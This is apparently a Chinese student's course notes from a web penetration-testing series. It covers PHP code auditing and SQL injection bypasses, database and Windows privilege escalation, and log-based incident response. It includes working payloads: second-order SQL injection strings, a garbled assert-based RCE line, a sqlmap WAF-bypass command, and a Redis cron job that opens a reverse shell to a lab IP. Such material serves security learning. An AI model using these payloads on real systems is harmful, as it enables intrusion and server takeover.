sqlmap --proxy=“http://127.0.0.1:8080” --tamper=“waf.py” --random-agent

文件上传

1.php 截断 参考前面上传 waf 绕过 payload

XSS 跨站

利用 XSStrike 绕过 加上–timeout 或–proxy 绕过 cc

其他集合

RCE:
加密加码绕过?算法可逆?关键字绕过?提交方法?各种测试!
txt= y = s t r r e p l a c e ( ′ x ′ , ′ ′ , ′ p x h p x i n x f o ( ) ′ ) ; a s s e r t ( y=str_replace('x','','pxhpxinxfo()');assert( y=strreplace(x,′′,pxhpxinxfo());assert(y);&submit=%E6%8F%90%E4%BA%A4
文件包含:没什么好说的就这几种
…\ …/ …\等

第50天:代码审计-PHP无框架项目SQL注入挖掘技巧

小迪WEB_第589张图片

代码审计教学计划

审计项目漏洞 Demo->审计思路->完整源码框架->验证并利用漏洞

代码审计教学内容

PHP,JAVA 网站应用,引入框架类开发源码,相关审计工具及插件使用

代码审计必备知识点

环境安装搭建使用,相关工具插件安装使用,掌握前期各种漏洞原理及利用

代码审计开始前准备

审计目标的程序名,版本,当前环境(系统,中间件,脚本语言等信息),各种插件等

代码审计挖掘漏洞根本

可控变量及特定函数,不存在过滤或过滤不严谨存在绕过导致的安全漏洞
小迪WEB_第590张图片
小迪WEB_第591张图片
小迪WEB_第592张图片

小迪WEB_第593张图片

演示案例

1. 简易 SQL 注入代码段分析挖掘思路
2.QQ 业务图标点亮系统挖掘-数据库监控追踪
查找关键字,关键字被封装了
在这里插入图片描述
查询的时候点击正则和区分大小写,可以找到更多的关键字。看有没有变量,有的语句是被写死的。
小迪WEB_第594张图片
尝试注入的时候发现是有过滤的

$sohuquan=array($_SERVER['HTTP_HOST'],"www".$_SERVER['HTTP_HOST']);

$url= @$_SERVER["HTTP_REFERER"];   //获取完整的来路URL

$str= str_replace("http://","",$url);  //去掉http://
$strdomain = explode("/",$str);               // 以“/”分开成数组
$domain    = $strdomain[0];              //取第一个“/”以前的字符

if(!in_array($domain , $sohuquan)){

    EXIT("从哪里来,滚回哪里去!");
}     

伪造个referer
小迪WEB_第595张图片
就不是刚才的语句了
小迪WEB_第596张图片
查找请输入完整
小迪WEB_第597张图片

if($_GET['api']=="ok"){
    
 if($_GET['u']=="" || $_GET['p']=="" || $_GET['id']==""){
    
    EXIT("请输入完整");
    
}

伪造数据,满足条件
小迪WEB_第598张图片
语句执行 ,购买失败
小迪WEB_第599张图片
查询数据库有5列,select 1,2,3,4,5
小迪WEB_第600张图片
没有回显信息,尝试延时注入(确实有延迟)
小迪WEB_第601张图片
3.74CMS 人才招聘系统挖掘-2 次注入应用功能(自带转义)
小迪WEB_第602张图片
自带转义函数—addslashes_deep,功能相当于php魔术引号函数

function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
		if (!get_magic_quotes_gpc())
		{
		$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags(addslashes($value));
		}
		else
		{
		$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
		}
		return $value;
    }
}

可以用二次注入来绕过这个函数
小迪WEB_第603张图片
小迪WEB_第604张图片
进入填写简历页面(能够把信息存进数据库的页面),填写简历,提交
小迪WEB_第605张图片
打开审计插件——mysql监控
更新,刚才提交的语句,进行的数据库操作
小迪WEB_第606张图片
根据填写简历界面url,打开看文件,搜索make2

http://127.0.0.1/74/user/personal/personal_resume.php?act=make2&pid=1

小迪WEB_第607张图片
和网站页面对应上了
小迪WEB_第608张图片
第二部求职意向
小迪WEB_第609张图片
Mysql监控持续更新
小迪WEB_第610张图片
填写的选项被数字代替了(我们无法改变),继续向下更新
小迪WEB_第611张图片
更新,发现此时我们填写的数据,在查询语句中。但是还是不符合二次注入条件
只更新,没有插入!
小迪WEB_第612张图片
我们必须要找到

  • 变量可控
  • 插入数据 更新数据

我们继续更新
小迪WEB_第613张图片
有插入有更新
小迪WEB_第614张图片

2022/4/20 10:53	INSERT INTO qs_resume_education (`uid`, `pid`, `start`, `endtime`, `school`, `speciality`, `education`, `education_cn`) VALUES ('1', '1', '2021\xC4\xEA2\xD4\xC2', '2014\xC4\xEA3\xD4\xC2', 'csw', 'csw', '68', '\xD6\xD0ר')
2022/4/20 10:53	UPDATE qs_resume SET `photo`='0', `complete`='1', `complete_percent`='60', `key`='csw \xBD\xF0\xC1\xEA\xBFƼ\xBCѧԺ \xCF\xEEĿ\xBE\xAD\xC0\xED/\xB2\xFAƷ\xBE\xAD\xC0\xED \xC8\xED\xBC\xFE\xCF\xEEĿ\xBE\xAD\xC0\xED/\xD6\xF7\xB9\xDC \xCF\xEEĿִ\xD0\xD0/Э\xB5\xF7\xC8\xCBԱ csw00  \xCF\xEEĿ00 \xCF\xEEĿ\xBE\xAD\xC0\xED \xBE\xAD\xC0\xED00 \xB2\xFAƷ00 \xB2\xFAƷ\xBE\xAD\xC0\xED \xC8\xED\xBC\xFE00 \xD6\xF7\xB9\xDC00 \xCF\xEEĿִ\xD0\xD0 ִ\xD0\xD000 Э\xB5\xF700 Э\xB5\xF7\xC8\xCB0 \xB5\xF7\xC8\xCB00 \xC8\xCBԱ00 \xD6м\xBC00 \xC0\xAC\xBB\xF8 csw', `refreshtime`='1650423191' WHERE uid='1' AND id='1'
2022/4/20 10:53	UPDATE qs_resume_tmp SET `photo`='0', `complete`='1', `complete_percent`='60', `key`='csw \xBD\xF0\xC1\xEA\xBFƼ\xBCѧԺ \xCF\xEEĿ\xBE\xAD\xC0\xED/\xB2\xFAƷ\xBE\xAD\xC0\xED \xC8\xED\xBC\xFE\xCF\xEEĿ\xBE\xAD\xC0\xED/\xD6\xF7\xB9\xDC \xCF\xEEĿִ\xD0\xD0/Э\xB5\xF7\xC8\xCBԱ csw00  \xCF\xEEĿ00 \xCF\xEEĿ\xBE\xAD\xC0\xED \xBE\xAD\xC0\xED00 \xB2\xFAƷ00 \xB2\xFAƷ\xBE\xAD\xC0\xED \xC8\xED\xBC\xFE00 \xD6\xF7\xB9\xDC00 \xCF\xEEĿִ\xD0\xD0 ִ\xD0\xD000 Э\xB5\xF700 Э\xB5\xF7\xC8\xCB0 \xB5\xF7\xC8\xCB00 \xC8\xCBԱ00 \xD6м\xBC00 \xC0\xAC\xBB\xF8 csw', `refreshtime`='1650423191' WHERE uid='1' AND id='1'

然后开始绕过,继续添加信息,保存
payload

aa',`fullname`=user()#

小迪WEB_第615张图片
更新数据库监控

插入语句中 aa’ 是被转意了

2022/4/20 10:57	INSERT INTO qs_resume_education (`uid`, `pid`, `start`, `endtime`, `school`, `speciality`, `education`, `education_cn`) VALUES ('1', '1', '2020\xC4\xEA8\xD4\xC2', '2026\xC4\xEA2\xD4\xC2', 'aa\',`fullname`=user()#', 'aa\',`fullname`=user(', '67', '\xD6м\xBC')

更新语句没有被转意

2022/4/20 10:57	UPDATE qs_resume_tmp SET `photo`='0', `complete`='1', `complete_percent`='60', `key`='aa',`fullname`=user()# csw \xBD\xF0\xC1\xEA\xBFƼ\xBCѧԺ \xCF\xEEĿ\xBE\xAD\xC0\xED/\xB2\xFAƷ\xBE\xAD\xC0\xED \xC8\xED\xBC\xFE\xCF\xEEĿ\xBE\xAD\xC0\xED/\xD6\xF7\xB9\xDC \xCF\xEEĿִ\xD0\xD0/Э\xB5\xF7\xC8\xCBԱ csw00  \xCF\xEEĿ00 \xCF\xEEĿ\xBE\xAD\xC0\xED \xBE\xAD\xC0\xED00 \xB2\xFAƷ00 \xB2\xFAƷ\xBE\xAD\xC0\xED \xC8\xED\xBC\xFE00 \xD6\xF7\xB9\xDC00 \xCF\xEEĿִ\xD0\xD0 ִ\xD0\xD000 Э\xB5\xF700 Э\xB5\xF7\xC8\xCB0 \xB5\xF7\xC8\xCB00 \xC8\xCBԱ00 \xD6м\xBC00 \xC0\xAC\xBB\xF8 csw aa',`fullname`=user(', `refreshtime`='1650423465' WHERE uid='1' AND id='1'

返回查看简历
小迪WEB_第616张图片
4.苹果 CMS 影视建站系统挖掘-数据库监控追踪(自带过滤)
MySQL-Monitor 安装及使用

把这几个文件放在网站www路径下

  • mysql_monitor_server.php
  • mysql_monitor_cls.php
  • mysql_monitor_client.html
  • last_count.dat
  • assets文件夹

然后访问127.0.0.1/mysql_monitor_client.html
小迪WEB_第617张图片
搜索xiaodi
小迪WEB_第618张图片
网页url

http://127.0.0.1/Maccms8/maccms8/index.php?m=vod-search

根据url查看代码文件

参数m以get方式传参,strpos()函数查找字符串在另一字符串中第一次出现的位置。

小迪WEB_第619张图片
inc/module/vod.php
小迪WEB_第620张图片
小迪WEB_第621张图片
转义
be函数先进行魔术引号过滤,再根据传参方式的不同选择过滤
小迪WEB_第622张图片
过滤关键字
小迪WEB_第623张图片
发现我下载的cms和视频演示的版本不同,其中没有chksql方法,

视频中的大概意思是

\ —url编码—> %5c
小迪WEB_第624张图片
%5c -----url编码------> %25%35%43
小迪WEB_第625张图片
双重编码

\ —url编码—> %5c -----url编码------> %25%35%43

get方式会识别url编码
小迪WEB_第626张图片

利用双重编码绕过

%25%35%43  ------->  %5c ---get方式会识别url编码----->  \

aa’     正常是会被转义(魔术引号)成    aa\'
魔术引号功能:所有的'(单引号),"(双引号), (反斜线)NULL 字符都会被自动加上一个\(反斜线)

aa%25%35%43----->    aa\\'

第58天:权限提升-网站权限漏洞第三方获取

小迪WEB_第627张图片

具体有哪些权限需要我们知道和了解掌握的?

后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等

  • 后台权限:(获得方式:爆破,注入猜解,弱口令等获取的帐号密码配合登录)
    一般网站或应用后台只能操作应用的界面内容数据图片等信息,无法操作程序的源代码或服务器上
    的资源文件的。(如后台功能存在文件操作的话也可以操作文件数据)
  • 网站权限:(获得方式:以上三种思路获取)
    查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),
    还能收集服务器操作系统相关的信息,为后续系统提权做准备。
  • 数据库权限
    操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的
    数据库配置文件读取获得。
  • 接口权限:(邮件,短信,支付,第三方登录等)
    后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取)

演示案例

1.某挂壁程序后台权限提升-后台功能
CT的外挂网站,我自己先上去测试了一下,小迪上课讲的后台已经打不开了,网站的更新也停在了2020年,正好是小迪上课的那一年,我估计是讲完课被疯狂攻击了,所以我这边自己做测试的时候并没有成功。这里我就只能截小迪的图了。也有人说是开了宝塔

打开网站看一下
小迪WEB_第628张图片
登陆网站后门,这个网站用的是站帮主cms
小迪WEB_第629张图片
在后台找一个可以上传的地方
小迪WEB_第630张图片
2.某 BC 广告导航页权限提升-漏洞层面
中间件有问题
小迪WEB_第631张图片
抓包看一下数据包,看到这个可以发现是在phpstudy上搭建的
小迪WEB_第632张图片
搜索phpstudy漏洞,就可以利用网上有的来实现测试
小迪WEB_第633张图片
成功实现漏洞复现
小迪WEB_第634张图片
3.苏丹大西瓜 GlassFish 中间件-第三方
小迪用fofa查的这个网址,可惜fofa不能用了现在,但是实验的网址还是能打开的
小迪WEB_第635张图片
在网上搜一下GlassFish的漏洞,注意区分windows和linux
小迪WEB_第636张图片
然后自己这边复现了一下,拿到了用户名和密码
小迪WEB_第637张图片

第59天:权限提升-Win溢出漏洞及AT&SC&PS提权

小迪WEB_第638张图片

提权知识点必备

明确权限提升基础知识:权限划分
明确权限提升环境问题:WEB 及本地
明确权限提升方法针对:针对方法适应问题
明确权限提升针对版本:个人及服务器版本;针对方法;
用户及用户组权限划分;Windows 提权命令
小迪WEB_第639张图片
小迪WEB_第640张图片

演示案例

1.基于本地环境下的权限提升-系统溢出漏洞
案例 1:如何判断使用哪种溢出漏洞?漏洞那里找?
信息收集-补丁筛选-利用 MSF 或特定 EXP-执行-西瓜到手
Vulmap,Wes,WindowsVulnScan 对比,exp 在那里获取?

vulmap
vulmon开发的一款开源工具,原理是根据软件的名称和版本号来确定,是否有CVE及公开的EXP。这款Linux的工具挺好用,但是对于Windows系统层面不太适用。
需要启动powershell才能利用,所以并不适合windows
小迪WEB_第641张图片
Windows-exp-suggester
这款和本工具的原理一样,尝试使用了之后,发现它的CVEKB数据库只更新到2017年的,并且没有给出CVE是否有公开的EXP信息。基本上已经被淘汰了
WindowsVulnScan
一款基于主机的漏洞扫描工具

2.基于WEB环境下的权限提升-阿里云靶机
MSF 结合云服务器搭建组合组合拳?模拟上述操作实战演练?
搭建:https://www.cnblogs.com/M0rta1s/p/11920903.html
我这里也没有服务器,没办法搞这个案例

3. 基于本地环境下的权限提升-AT&SC&PS命令
如何判断本地环境可利用漏洞情况?AT&SC&PS 命令适用环境?

利用漏洞CVE-2020-0787 BitsArbitraryFileMoveExploit
将生成/下载的EXP程序复制到受漏洞影响的版本的测试靶机上,打开cmd,直接拖动exp到cmd窗口中运行exp,如下图所示:
小迪WEB_第642张图片
可以看到exp运行完成后立即弹出一个新的system权限的cmd窗口,如下图所示:
小迪WEB_第643张图片
此时就通过该漏洞获取了一个本地系统权限的cmd,可以以system权限执行任意操作
AT命令
输入这个命令at 15:13 /interactive cmd.exe,会在这个时间点启动一个cmd.exe的程序,这只有远古老版的windows才行
小迪WEB_第644张图片
SC命令
sc Create syscmd binPath= "cmd /K start" type= own type= interact
sc start syscmd
和上面at命令是一个原理,启动了cmd.exe程序
小迪WEB_第645张图片
PS命令
输入命令:psexec.exe -accepteula -s -i -d notepad.exe
会打开记事本
小迪WEB_第646张图片

第60天:权限提升-MY&MS&QRA等SQL数据库提权

小迪WEB_第647张图片
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外,其他数据库基本都存在数据库提权的可能。

数据库应用提权在权限提升中的意义
在漏洞没有办法的时候采用数据库,很多服务器上都有数据库
WEB 或本地环境如何探针数据库应用
先要进行探针,确定有这个数据库的服务。有的话就进行信息收集,用来收集账号密码,最后进行提权。
数据库提权权限用户密码收集等方法
目前数据库提权对应的技术及方法等

演示案例

1.Mysql 数据库提权演示-脚本&MSF
案例:MYSQL 数据库提权演示-脚本&MSF
流程:服务探针-信息收集-提权利用-获取权限

UDF 提权知识点:(基于 MYSQL 调用命令执行函数)
读取网站数据库配置文件(了解其命名规则及查找技巧)
sql data inc config conn database common include 等
读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
@@basedir/data/数据库名/表名.myd
利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
远程本地暴力猜解,服务器本地暴力猜解
利用自定义执行函数导出 dll 文件进行命令执行
select version() select @@basedir
手工创建 plugin 目录或利用 NTFS 流创建
select ‘x’ into dumpfile ‘目录/lib/plugin::INDEX_ALLOCATION’;
1.mysql<5.1 导出目录 c:/windows 或 system32
2.mysql=>5.1 导出安装目录/lib/plugin/

第61天:权限提升-Redis&Postgre&令牌窃取&进程注入

小迪WEB_第648张图片

演示案例

Redis 服务因配置不当,可被攻击者恶意利用。黑客借助 Redis 内置命令,可将现有数据恶意清空;
如果 Redis 以 root 身份运行,黑客可往服务器上写入 SSH 公钥文件,直接登录服务器。
连接(未授权或有密码)-利用如下方法提权
参考:https://blog.csdn.net/fly_hps/article/details/80937837
(1).利用计划任务执行命令反弹shell
先在自己的服务器上监听一个端口

nc -lvnp 7999

在这里插入图片描述
然后执行命令:

root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK

小迪WEB_第649张图片
nc监听端口已经反弹回来shell
小迪WEB_第650张图片
(2).写 ssh-keygen 公钥然后使用私钥登陆
(3).权限较低往 web 物理路径写 webshell
修复方案:
注意:以下操作,均需重启 Redis 后才能生效。
绑定需要访问数据库的 IP。 将 127.0.0.1 修改为需要访问此数据库的 IP 地址。
设置访问密码。在 Redis.conf 中 requirepass 字段后,设置添加访问密码。
修改 Redis 服务运行账号。以较低权限账号运行 Redis 服务,禁用账号的登录权限。

2.PostgreSQL 数据库权限提升
PostgreSQL 是一款关系型数据库。其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM
PROGRAM”权限的用户,可以使用这个特性执行任意命令。
提权利用的是漏洞:CVE-2019-9193 CVE-2018-1058
连接-利用漏洞-执行-提权
参考:https://vulhub.org/#/environments/postgres/
小迪WEB_第651张图片
这里我先启动环境
小迪WEB_第652张图片
然后用Navicat连接,成功连接上去
小迪WEB_第653张图片
执行命令语句

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

修复方案:升级版本或打上补丁
3.Windows2008&7 令牌窃取提升-本地
进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允
许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
本地提权实验:获取会话-利用模块-窃取令牌-提权
Microsoft Windows XP Professional SP3 和之前版本
Windows Server 2003 SP2 和之前的版本
Windows Server 2003 x64 和 x64 SP2
Windows Server 2003(用于基于 Itanium 的系统 SP2 和先前版本)
Windows Server 2008 x32 x64
Windows Server 2008(用于基于 Itanium 的系统)
Windows Vista SP1 和之前的版本
Windows Vista x64 SP1 和之前的版本
4.Windows2003&10 进程注入提升-本地
进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共
享机制,这类技术主要利用在 windows2008 之前操作系统上.所以我们需要学习后续的本地提权更多
的手法才能有针对高版本的系统。
pinjector 进程注入工具针对-win2008 以前操作系统
利用工具,注入到高权限里面,来享有高权限
小迪WEB_第654张图片
小迪WEB_第655张图片
pexec64 32 进程注入工具针对-win2008 及后操作系统-(佛系)

第73天:应急响应-WEB分析php&javaweb&自动化工具

1.Redis 数据库权限提升-计划任务
小迪WEB_第656张图片

应急响应

保护阶段,分析阶段,复现阶段,修复阶段,建议阶段
目的:分析出攻击时间,攻击操作,攻击后果,安全修复等并给出合理解决方案。

必备知识

1.熟悉常见的 WEB 安全攻击技术
2.熟悉相关日志启用及存储查看等
不可能记住全部的路径,所以自己可以查询
小迪WEB_第657张图片

3.熟悉日志中记录数据分类及分析等

收集工作

1.收集目标服务器各类信息
2.部署相关分析软件及平台等
3.整理相关安全渗透工具指纹库
4.针对异常表现第一时间触发思路

从表现预估入侵面及权限面进行排查

  • 有明确信息网站被入侵:
    基于时间 基于操作 基于指纹 基于其他
  • 无明确信息网站被入侵:
    1.WEB 漏洞-检查源码类别及漏洞情况
    2.中间件漏洞-检查对应版本及漏洞情况
    3.第三方应用漏洞-检查是否存在漏洞应用
    4.操作系统层面漏洞-检查是否存在系统漏洞
    5.其他安全问题(口令,后门等)-检查相关应用口令及后门扫描

常见分析方法

指纹库搜索,日志时间分析,后门追查分析,漏洞检查分析等

演示案例

1.Windows+IIS+Sql-日志,搜索
IIS虽然现在用的不多,但是是图形化界面的,方便我们观察学习,我们可以看到日志
小迪WEB_第658张图片
点击日志,我们可以看到日志的路径
小迪WEB_第659张图片
点击日志来观察一下
小迪WEB_第660张图片
可以通过一些关键字的筛选,来看看有没有被攻击

2.Linux+BT_Nginx+tp5-日志,后门
打开搭建的网站
在这里插入图片描述
在宝塔里面,通过一些配置文件,开找到日志文件
小迪WEB_第661张图片
观察日志可以看到有人在做目录扫描

用工具注入漏洞
小迪WEB_第662张图片
日志就留有攻击记录
在这里插入图片描述
用宝塔内置webshell查杀木马
在这里插入图片描述
找到了有x.php这个后门木马,所以我们就可以在日志里面搜索是否有这个后门木马
在这里插入图片描述
3.Linux+Javaweb+st2-日志,后门,时间
找到网站出现异常的那一天,从这一天着重分析,但是不是说就看这一天
小迪WEB_第663张图片
我们先人为的来看看日志有什么异常,发现其他都是GET类型,就只有这一个是POST类型的,发现这天的日志的信息量比较少,所以往前找找还有没有可以利用的信息。
小迪WEB_第664张图片
但是日志文件有很多,我们不可能一个一个日志翻过去,所以我们需要使用工具,通过工具来查找一些关键信息,这里推荐用一款小工具FileSeek。
小迪WEB_第665张图片
通过多次的日志信息搜集,大致上可以确定攻击者是一个叫caiyun的
小迪WEB_第666张图片
找到了后门源文件
小迪WEB_第667张图片

4.360 星图日志自动分析工具-演示,展望
下载一下星图,因为官方已经不维护,官网也已经下架了,需要自己去找。
小迪WEB_第668张图片
根据里面的使用前必读的文件,来配置一些信息,然后我们开始扫日志文件
小迪WEB_第669张图片
看一下分析结果
小迪WEB_第670张图片
当然这软件也有缺点,只支持IIS/Apache/Nginx,支持面小,而且需要一个个扫描
推荐下面两款日志扫描文件
小迪WEB_第671张图片

第74天:应急响应-win&linux分析后门&勒索病毒&攻击

操作系统(windows,linux)应急响应

1.常见危害:暴力破解,漏洞利用,流量攻击,木马控制(Webshell,PC 木马等),病毒感染(挖矿,蠕
虫,勒索等)。
2.常见分析:计算机账户,端口,进程,网络,启动,服务,任务,文件等安全问题

常见日志类别及存储

Windows,Linux

补充资料

https://xz.aliyun.com/t/485
https://www.secpulse.com/archives/114019.html
添加链接描述

病毒分析

PCHunter:http://www.xuetr.com
火绒剑:https://www.huorong.cn
Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
autoruns:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
OTL:https://www.bleepingcomputer.com/download/otl/
SysInspector:http://download.eset.com.cn/download/detail/?product=sysinspector

病毒查杀

卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe
大蜘蛛:http://free.drweb.ru/download+cureit+free
火绒安全软件:https://www.huorong.cn
360 杀毒:http://sd.360.cn/download_center.html

病毒动态

CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html

在线病毒扫描网站

http://www.virscan.org //多引擎在线病毒扫描网
https://habo.qq.com //腾讯哈勃分析系统
https://virusscan.jotti.org //Jotti 恶意软件扫描系统
http://www.scanvir.com //计算机病毒、手机病毒、可疑文件分析

演示案例

1.攻击响应-暴力破解(RDP,SSH)-Win,Linux
找到Windows下的日志
小迪WEB_第672张图片
Windows日志默认存放在这个位置
小迪WEB_第673张图片
用LogFusion可以审计Windows下的日志
小迪WEB_第674张图片
用弱口令工具进行爆破
小迪WEB_第675张图片
日志分析可以看到已经登陆成功了
小迪WEB_第676张图片
根据如此多的登陆失败,我们可以分析出是暴力破解,暴破攻击
小迪WEB_第677张图片

对Linux使用爆破攻击
小迪WEB_第678张图片
Linux日志文件保存位置
小迪WEB_第679张图片
Linux-grep 筛选:
1、统计了下日志,确认服务器遭受多少次暴力破解

grep -o "Failed password" /var/log/secure|uniq -c

在这里插入图片描述
2、输出登录爆破的第一行和最后一行,确认爆破时间范围:

grep "Failed password" /var/log/secure|head -1
grep "Failed password" /var/log/secure|tail -1

在这里插入图片描述
3、进一步定位有哪些 IP 在爆破?

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-
4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-
9]?)"|uniq -c | sort -nr

在这里插入图片描述
4、爆破用户名字典都有哪些?

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -
nr

小迪WEB_第680张图片
5、登录成功的日期、用户名、IP:

grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

小迪WEB_第681张图片
2.控制响应-后门木马(Webshell,PC)-Win,Linux
用这个工具可以观察电脑上的进程
小迪WEB_第682张图片
软件PCHunter64.exe这个软件可以用来观察windows程序的进程,非常好用,但是win10没办法用
小迪WEB_第683张图片
Windows高版本网络信息获取不全

UserAssistView可以看到主机上运行过的程序,软件
小迪WEB_第684张图片
logonSessions可以看到主机上有哪些用户名连接过,可以看到当前会话。
小迪WEB_第685张图片
Autoruns可以分析Windows启动了哪些项目
小迪WEB_第686张图片
3.危害响应-病毒感染(勒索 WannaCry)-Windows
这里我不太敢下载,怕出事,所以还是直接用小迪的看看吧
小迪WEB_第687张图片
用一些网站,可以尝试看看是否能解密
小迪WEB_第688张图片
也可以用这个网站尝试
小迪WEB_第689张图片
4.自动化响应检测-Gscan多重功能脚本测试-Linux
https://github.com/grayddq/GScan/
小迪WEB_第690张图片

你可能感兴趣的:(数据库)